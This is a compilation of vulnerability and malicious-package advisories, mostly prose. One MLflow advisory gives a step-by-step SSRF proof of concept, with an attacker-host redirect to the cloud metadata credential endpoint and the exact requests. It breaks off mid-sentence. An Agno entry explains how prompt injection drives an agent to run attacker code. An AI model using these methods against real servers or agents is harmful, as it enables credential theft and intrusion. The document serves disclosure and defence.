ToolUniverse versions up to 1.2.6 contain a critical code injection vulnerability due to improper sandboxing of caller-supplied Python code. The server ran this code without authentication, allowing attackers to escape the sandbox and execute arbitrary code. Version 1.3.0 addresses these issues by adding authentication, restricting network binding, and improving attribute checks.
Agno up to and including 2.5.8 is vulnerable to Remote Code Execution (RCE) via prompt injection. The PythonTools and ShellTools components pass unsanitized, LLM-generated arguments directly to execution sinks including exec(), runpy.run_path(), and subprocess.run(). An unauthenticated attacker can exploit this by embedding malicious instructions in content processed by the agent (such as web pages or documents), allowing for arbitrary code and OS command execution on the host server.
The pybitjs package on PyPI contains malicious code that executes during installation and every Python interpreter startup. It uses obfuscated JavaScript to fetch attacker-controlled payloads via a command-and-control mechanism leveraging Ethereum blockchain transactions to dynamically determine the C2 server IP. The payload downloads and executes further malicious code, consistent with campaigns attributed to the Lazarus APT group. This allows arbitrary code execution on the host system of anyone installing or running Python with this package present.
CVE-2026-44222 is a denial of service vulnerability in vLLM, an inference engine for large language models, as integrated into Red Hat AI Inference Server 3.3.6 (Spyre). Unauthenticated attackers can cause worker termination by submitting malformed multimodal inputs or text prompts with special tokens, disrupting AI inference workloads. No fix is currently available that meets Red Hat's criteria for deployment and stability.
The npm package 'bamru' masquerades as a system binary configuration tool but installs a concealed clipboard and screen harvester that elevates itself to Administrator without user consent. It silently provisions a Python 3.12 runtime if not present, then runs a hidden, elevated Python script that captures clipboard data, screenshots, and text from other application windows. This data is exfiltrated to a hardcoded remote endpoint. The remote server can then send responses that are typed back into the user's active window, effectively enabling remote control. The package hides its true functionality by suppressing UI elements, running with admin rights silently, and providing no disclosure in its manifest or documentation.
A vulnerability in Red Hat AI Inference Server Model Optimization Tools 3.3.6 (CUDA) involves a flaw in the AIOHTTP Python framework's CookieJar.load() function. This flaw allows potential arbitrary code execution if untrusted input is loaded, which requires an application to be configured to process attacker-controlled files. The issue is addressed in fixed versions 0.20.0_7 and 1.16.50_2.
A vulnerability in vLLM, the inference engine used by Red Hat AI Inference Server, allows unauthenticated attackers to execute arbitrary code by loading malicious HuggingFace models when vLLM runs in Python optimized mode. This affects Red Hat AI Inference Server versions prior to 0.22.0 that include the vulnerable pooler activation loader. Exploitation requires supplying untrusted models and running with Python optimization enabled. Red Hat rates the impact as Important for AI Inference Server and OpenShift AI vLLM serving images, and Moderate for RHEL AI bootc images bundling vLLM. No fix is currently available. Mitigations include avoiding Python optimization mode, loading models only from trusted sources, restricting deployment permissions, and applying network controls.
Red Hat Ansible Automation Platform 2.6 has multiple security vulnerabilities affecting various components including automation-controller, automation-platform-ui, python-django, python3.12-aiohttp, and python3.12-gitpython. These vulnerabilities include server-side request forgery (SSRF), credential leakage, path traversal, HTTP request smuggling, denial of service, arbitrary code execution, command injection, memory exhaustion, and remote code execution. The issues impact the security and integrity of the platform and could allow attackers to execute arbitrary code, leak sensitive credentials, or cause denial of service conditions. Red Hat has issued a security advisory with fixes for these vulnerabilities.
Red Hat Ansible Automation Platform 2.5 has multiple security vulnerabilities affecting components such as automation-controller, automation-gateway, python3.12-aiohttp, python3.12-django, and python3.12-gitpython. These include remote code execution, server-side request forgery (SSRF), path traversal, denial of service, command injection, and memory exhaustion issues. The vulnerabilities allow attackers to execute arbitrary code, leak credentials, perform directory escapes, and cause service disruptions. A security update addressing these issues is available from Red Hat.
Netis NC63 firmware up to version 3.0.0.3327 contains a critical stack-based buffer overflow vulnerability. This flaw allows unauthenticated remote attackers to overwrite the saved stack state by sending an oversized destHost parameter to the ipFilterList=mod action in netis.cgi. The vulnerability arises from unsafe sscanf conversions that copy user input into fixed-size stack buffers before authentication is checked. Exploitation can lead to remote code execution with root privileges due to the Boa web server running CGI scripts as root.
Xinference loads models with Hugging Face remote code execution unconditionally enabled, and before version 2.12.0 exposes no setting to disable it. Six loader call sites pass trust_remote_code=True as a literal or as an unconditional default: RerankModel._get_tokenizer in xinference/model/rerank/core.py, SentenceTransformerRerankModel.load in xinference/model/rerank/sentence_transformers/core.py, SentenceTransformerEmbeddingModel.load in xinference/model/embedding/sentence_transformers/core.py, FlagEmbeddingModel.load in xinference/model/embedding/flag/core.py, and two sites in xinference/model/llm/transformers/core.py where PytorchModel._sanitize_model_config and PytorchModel._get_components default the value to True. Because a caller with model launch access can register a model whose type is unknown and supply an arbitrary model path, the server reaches _auto_detect_type and then AutoTokenizer.from_pretrained, which imports and executes Python declared by the model directory's own tokenizer_config.json auto_map, running attacker-supplied code with the privileges of the worker process. Version 2.12.0 gates every site behind allow_trust_remote_code and the XINFERENCE_TRUST_REMOTE_CODE setting, permitting remote code only for bundled built-in models.
BentoML versions 1.4.19 through 1.4.39 contain a Server-Side Request Forgery (SSRF) vulnerability in the make_safe_connect function. This function blocks private, loopback, and link-local IP addresses but does not block the RFC 6598 shared address space (100.64.0.0/10, CGNAT). An unauthenticated attacker can exploit this by supplying URLs pointing to this CGNAT range via multipart file handling or JSON request parsing, causing the server to make unintended outbound requests. This vulnerability is an incomplete fix of a previous issue (CVE-2025-54381).
A malicious PyPI package named 'cryptgraphy' impersonates legitimate cryptography and AWS-related packages using typosquatting and falsified metadata. Upon installation, it executes a custom install script that delays for five minutes before downloading and running an ELF binary from an unrelated external server. The binary attempts to establish persistence, potentially via systemd services, and is associated with malicious activities such as cryptocurrency mining and network propagation. The package itself contains only stub functions, with the real malicious behavior occurring during installation. This campaign exhibits clear malicious intent and anti-forensic techniques.
CVE-2026-61539 is a critical remote code execution vulnerability in xorbitsai inference API versions 2.5.0 and earlier. The vulnerability arises from improper neutralization of directives in dynamically evaluated code (eval injection) where attacker-controlled input is passed to Python's eval() function. An unauthenticated attacker can exploit this by crafting malicious prompts to execute arbitrary commands on the Xinference server. The issue is fixed in version 2.7.0.
Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, multipart POST /v1/sessions accepts an authenticated user's agent bundle and omnigent/server/bundles.py validate_agent_bundle does not reject a tools..callable dotted Python path. omnigent/runner/tool_dispatch.py _resolve_spec_callable imports the specified module and _execute_spec_callable_tool invokes the resolved function, allowing a bundle to select subprocess.check_output and execute a local command with the runner process permissions. This can expose runner files, environment variables, credentials, workspace data, internal services, and availability without administrator access. This issue is fixed in version 0.3.0.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
The reqcrypts package on PyPI contains malicious code that enables remote code execution. It functions as an HTTP client but executes base64-decoded Python code from a specific JSON response field (_payload) using exec(), allowing any responding HTTP server to run arbitrary code on the host. Additionally, it supports covert payload triggers that execute stored Python code silently. This behavior constitutes a hidden backdoor, exposing any application using reqcrypts to remote code execution risks.
SitemapLoader.parse_sitemap in langchain_community/document_loaders/sitemap.py applies the documented restrict_to_same_domain control only to leaf url entries. The loop over url elements filters cross-domain locations, but the loop over nested sitemap elements passes the child loc straight to self.scrape_all([loc.text], "xml"), which reaches WebBaseLoader.scrape_all and an aiohttp GET, with no domain comparison and no check for private, loopback or link-local destinations. An attacker who controls or influences an ingested sitemap can therefore point a nested sitemap entry at an internal address and make the server fetch it even when the deploying application set restrict_to_same_domain to True specifically to confine outbound requests. The fetched content is parsed and surfaces in the returned Documents, so internal responses are disclosed to the caller rather than merely requested.
CVE-2026-55558 is a medium severity vulnerability in aiosmtplib, an asynchronous SMTP client. Prior to version 5.1.2, the SMTPProtocol.start_tls method improperly handles the server's 220 response by not clearing an internal buffer before starting the TLS handshake. This allows an active network attacker to inject attacker-controlled SMTP response lines that survive the TLS upgrade, causing desynchronization of SMTP command and response pairs. The issue affects connections using start_tls=True or opportunistic STARTTLS, but not those using use_tls=True. The vulnerability is fixed in version 5.1.2.